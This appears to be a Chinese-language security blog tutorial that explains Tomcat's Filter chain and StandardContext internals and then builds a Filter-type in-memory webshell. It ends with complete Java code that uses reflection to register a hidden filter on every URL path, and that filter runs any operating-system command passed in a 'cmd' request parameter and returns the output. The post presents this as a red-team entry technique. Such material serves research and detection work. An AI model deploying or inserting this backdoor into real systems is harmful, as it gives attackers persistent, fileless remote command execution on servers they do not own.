Java安全之基于Tomcat的Filter型内存马

写在前面

现在来说，内存马已经是一种很常见的攻击手法了，基本红队项目中对于入口点都是选择打入内存马。而对于内存马的支持也是五花八门，甚至各大公司都有自己魔改的webshell管理工具，下面就从Tomcat开始学习内存马部分内容。

内存马主要分为以下几类：

servlet-api类

filter型
servlet型

spring类

拦截器
controller型

Java Instrumentation类

agent型

Tomcat基础知识

首先简单说下Filter

Filter：自定义Filter的实现，需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。

启动服务器时加载过滤器的实例，并调用init()方法来初始化实例；
每一次请求时都只调用方法doFilter()进行处理；
停止服务器时调用destroy()方法，销毁实例。

web.xml对于三大组件的加载顺序是：listener -> filter -> servlet

再看一下Tomcat的架构

其中涉及到很多Tomcat的组件

Server：

Server，即指的WEB服务器,一个Server包括多个Service。
Service：

Service的作用是在Connector和Engine外面包了一层（可看上图），把它们组装在一起，对外提供服务。一个Service可以包含多个Connector，但是只能包含一个Engine，其中Connector的作用是从客户端接收请求，Engine的作用是处理接收进来的请求。后面再来细节分析Service。
Connector：

Tomcat有两个典型的Connector，一个直接侦听来自browser的http请求，一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求

Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。
Engine：

Engine下可以配置多个虚拟主机，每个虚拟主机都有一个域名，当Engine获得一个请求时，它把该请求匹配到某个Host上，然后把该请求交给该Host来处理，Engine有一个默认虚拟主机，当请求无法匹配到任何一个Host上的时候，将交给该默认Host来处理。
Host：

代表一个虚拟主机，每个虚拟主机和某个网络域名Domain Name相匹配

每个虚拟主机下都可以部署(deploy)一个或者多个Web App，每个Web App对应于一个Context，有一个Context path，当Host获得一个请求时，将把该请求匹配到某个Context上，然后把该请求交给该Context来处理匹配的方法是“最长匹配”，所以一个path==""的Context将成为该Host的默认Context，所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。
Context：

一个Context对应于一个Web Application，一个WebApplication由一个或者多个Servlet组成

Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类，当Context获得请求时，将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到，则执行该类，获得请求的回应，并返回。

Connector

Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求，把从socket传递过来的数据，封装成Request，传递给Engine来处理，并从Engine处获得响应并返回给客户端。

Engine：最顶层容器组件，其下可以包含多个 Host。

Host：一个 Host 代表一个虚拟主机，其下可以包含多个 Context。

Context：一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper。

Wrapper：一个 Wrapper 代表一个 Servlet。

ProtocolHandler

在Connector中，包含了多个组件，Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者，通过管理其他工作组件实现对请求的处理。ProtocolHandler包含了三个非常重要的组件,这三个组件分别是：

- Endpoint: 负责接受，处理socket网络连接

- Processor： 负责将从Endpoint接受的socket连接根据协议类型封装成request

- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后，传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求，并返回对象给web用户的模块。

Container 处理请求，内部是使用Pipeline-Value管道来处理的，每个 Pipeline 都有特定的 Value（BaseValue），BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道，FilterChain 其实就是这种模式，FilterChain相当于 Pipeline，每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve、StandardHostValve 、StandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ，而且是在管道的最后一个执行，这个Valve 叫BaseValve，BaseValve 是不可删除的。

过滤链：在一个 Web 应用程序中可以注册多个 Filter 程序，每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截，那么这些 Filter 就会组成一个Filter 链（也称

过滤器链）。

如果做过Java web开发的话，不难发现在配置Filter 的时候，假设执行完了就会来到下一个Filter 里面，如果都FilterChain.doFilter进行放行的话，那么这时候才会执行servlet内容。原理如上。

整体的执行流程，如下图：

ServletContext

javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口，提供了Web应用所有Servlet的视图，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用。并且它被所有客户端共享。这个是Servlet中的概念，ServletContext的方法中有addFilter、addServlet、addListener方法，即添加Filter、Servlet、Listener

获取ServletContext的方法:

this.getServletContext();

this.getServletConfig().getServletContext();

ApplicationContext

org.apache.catalina.core.ApplicationContext

对应Tomcat容器，为了满足Servlet规范，必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。这里的ApplicationContext类似于Servlet API中的ServletContext，在addFilter、addServlet、addListener方法。

StandardContext

Catalina主要包括Connector和Container，StandardContext就是一个Container，它主要负责对进入的用户请求进行处理。实际来说，不是由它来进行处理，而是交给内部的valve处理。

一个context表示了一个外部应用，它包含多个wrapper，每个wrapper表示一个servlet定义。（Tomcat 默认的 Service 服务是 Catalina）

以上内容摘抄自：https://www.cnblogs.com/nice0e3/p/14622879.html

Filter Chain与Filter创建分析

因为本文主要是实现一个Filter型的内存马，所以需要在内存中动态注册一个恶意的filter来实现内存shell，这其中就涉及到Filter Chain（过滤链）的实现以及Filter执行的先后顺序问题，所以先创建一个普通的Filter来看一下在Tomcat中的处理流程。

先创建一个Filter，配置路由，在doFilter处下断点debug

@WebFilter("/demo")

public class demoFilter implements Filter {

    @Override

    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        servletRequest.setCharacterEncoding("UTF-8");

        servletResponse.setCharacterEncoding("UTF-8");

        System.out.println("Filter run start......");

        filterChain.doFilter(servletRequest,servletResponse);   //让我们的请求继续走，如果不写，程序到这里就被拦截停止。后面还有其他过滤器，需要把这次的req和resp传给后面的Filter

        System.out.println("Filter run stop......");

    }

    @Override

    public void destroy() {

    }

}

一般开发写的filter都会有filterChain.doFilter(servletRequest,servletResponse);,让filter继续往后走，保证过滤链不会在这里中断，我们跟入进去，在catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法中先做了判断Globals.IS_SECURITY_ENABLED，该值判断是否设置了SecurityManager，默认未开启，跳入else中internalDoFilter方法

在internalDoFilter方法中，先通过filterConfig.getFilter()方法获取到filter实例，之后走到该filter实例中的dofilter方法，也就是filer chain中，通过dofilter方法可以按顺序层层迭代及获取已经注册的filter实例并调用执行filter中的dofilter方法，来实现一个过滤链。

也就是说当我们存在一个可执行任意代码的点，我们在动态注册好恶意的filter后可以通过下面这条链来进入我们恶意的filter#doFilter()方法中执行代码，调用过程如下：

filterChain.doFilter()

	this.internalDoFilter()

		filter.doFilter()

那后面就是找如何调用这里的filterChain.doFilter，回溯调用栈，在catalina.jar!/org/apache/catalina/core/StandardWrapperValve.class#invoke方法中，调用了filterChain.doFilter方法

浏览整个invoke方法，在上面发现通过ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);将客户端输入的request、StandardWrapper wrapper、Servlet servlet 作为参数传入createFilterChain方法创建了过滤链（FilterChain）

跟入ApplicationFilterFactory.createFilterChain方法，在其中通过拿到StandardContext上下文获取到FilterMaps而FilterMaps中保存了我们注册好的Filter

继续往下看，之后就是遍历上面拿到的FilterMaps，并对其进行判断，当前请求与请求的url和本次迭代拿到的filter匹配时，并根据本次迭代的Filter名称在StandardContext中也能找到相应的FilterConfig对象（在 FilterConfig中主要存放 FilterDef 和 Filter对象等信息），那么就会将该FilterConfig添加到Filterchain中。

简单提一下matchDispacher方法中的参数dispatcher：

dispatcher 表示在过滤用户的请求时，过滤什么类型的请求？Forward，Request，Include，Error，Async，一般web就是Request。

那么现在调用过程如下：

StandardWrapperValve.invoke()

	ApplicationFilterFactory.createFilterChain()

		StandardContext context = (StandardContext)wrapper.getParent();

    FilterMap[] filterMaps = context.findFilterMaps();

    filterChain.addFilter(filterConfig)

  filterChain.doFilter()

    this.internalDoFilter()

      filter.doFilter()

贴一张宽字节的图

Filter创建流程

以平常开发的流程为例的话，一般都是在web.xml中注册，将url和filter类进行绑定从而创建filter。

从代码方面注册可以通过StandardContext入手，StandardContext会加载web.xml中的配置来创建Servlet、Filter

其中包含了3个有关filter的属性

private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private Map<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

内存马实现

那根据参考文章的话，只需要拿到StandardContext并设置好这三个属性值即可。

尝试构造

import org.apache.catalina.Context;

import org.apache.catalina.core.ApplicationContext;

import org.apache.catalina.core.ApplicationFilterConfig;

import org.apache.catalina.core.StandardContext;

import org.apache.tomcat.util.descriptor.web.FilterDef;

import javax.servlet.*;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedInputStream;

import java.io.IOException;

import java.io.InputStream;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Map;

@WebServlet("/demo2")

public class FilterMemshell extends HttpServlet {

    @Override

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        final ServletContext servletContext = req.getServletContext();

        Field appctx = null;

        try {

            appctx = servletContext.getClass().getDeclaredField("context");

            appctx.setAccessible(true);

            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");

            stdctx.setAccessible(true);

            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "FilterMemshell";

            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");

            configs.setAccessible(true);

            Map filterconfigs = (Map) configs.get(standardContext);

            if (filterconfigs.get(FilterName) == null){

                Filter filter = new Filter(){

                    @Override

                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override

                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

                        String cmd = servletRequest.getParameter("cmd");

                        if (cmd!=null){

                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);

                            int len;

                            while ((len = bufferedInputStream.read())!=-1){

                                servletResponse.getWriter().write(len);

                            }

                        }

                    }

                    @Override

                    public void destroy() {

                    }

                };

                //反射获取FilterDef，设置filter名等参数后，调用addFilterDef将FilterDef添加

                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");

                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();

                org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance();

                o.setFilter(filter);

                o.setFilterName(FilterName);

                o.setFilterClass(filter.getClass().getName());

                standardContext.addFilterDef(o);

                //反射获取FilterMap并且设置拦截路径，并调用addFilterMapBefore将FilterMap添加进去

                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");

                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();

                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");

                o1.setFilterName(FilterName);

                o1.setDispatcher(DispatcherType.REQUEST.name());

                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig，构造方法将 FilterDef传入后获取filterConfig后，将设置好的filterConfig添加进去

                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");

                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);

                declaredConstructor1.setAccessible(true);

                org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);

                filterconfigs.put(FilterName,filterConfig);

                resp.getWriter().write("Success");

            }

        } catch (NoSuchFieldException e) {

            e.printStackTrace();

        } catch (IllegalAccessException e) {

            e.printStackTrace();

        } catch (ClassNotFoundException e) {

            e.printStackTrace();

        } catch (NoSuchMethodException e) {

            e.printStackTrace();

        } catch (InvocationTargetException e) {

            e.printStackTrace();

        } catch (InstantiationException e) {

            e.printStackTrace();

        }

    }

    @Override

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        this.doGet(req, resp);

    }

}

Reference

https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&mid=2247483745&idx=1&sn=2eee1ad5d99ca62aaf9b714b2889d16d&chksm=c329d803f45e51156db26193b12d4df5029bc1bfbf92fd1b974642625bacfa5994d31c54acfa&mpshare=1&scene=23&srcid=1121XCymMnw4n2ISEAeXg2Sd&sharer_sharetime=1637504898246&sharer_shareid=01a960f2575be8671c5eb7e1febc8690%23rd

https://xz.aliyun.com/t/7388#toc-2

http://wjlshare.com/archives/1529

https://www.cnblogs.com/nice0e3/p/14622879.html